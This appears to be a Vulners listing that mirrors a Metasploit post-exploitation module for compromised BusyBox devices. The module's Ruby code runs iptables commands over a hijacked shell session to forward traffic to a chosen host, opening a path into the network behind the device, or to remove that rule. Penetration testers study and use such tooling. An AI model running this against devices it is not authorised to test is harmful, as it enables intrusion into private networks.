Lucene search
K

BusyBox DMZ Configuration

🗓️ 28 Aug 2015 14:17:23Reported by Javier Vicente VallejoType 
metasploit
 metasploit
🔗 www.rapid7.com👁 27 Views

BusyBox DMZ Configuration. Manage traffic forwarding to target host through BusyBox devic

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post

  def initialize
    super(
      'Name' => 'BusyBox DMZ Configuration',
      'Description' => %q{
        This module will be applied on a session connected to a BusyBox shell. It allows to manage
        traffic forwarding to a target host through the BusyBox device.
      },
      'Author' => 'Javier Vicente Vallejo',
      'License' => MSF_LICENSE,
      'Platform' => ['linux'],
      'SessionTypes' => ['shell']
    )

    register_options([
      OptAddress.new('TARGET_HOST', [ true, 'The address of the target host']),
      OptBool.new('DELETE', [true, 'Remove host from the DMZ, otherwise will add it', false])
    ])
  end

  def run
    if datastore['DELETE']
      print_status("Deleting #{datastore['TARGET_HOST']} from DMZ")
      vprint_status(cmd_exec("iptables -D FORWARD -d #{datastore['TARGET_HOST']} -j ACCEPT"))
    else
      print_status("Adding #{datastore['TARGET_HOST']} to DMZ")
      vprint_status(cmd_exec("iptables -A FORWARD -d #{datastore['TARGET_HOST']} -j ACCEPT"))
    end

    vprint_status(cmd_exec('iptables --list'))
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation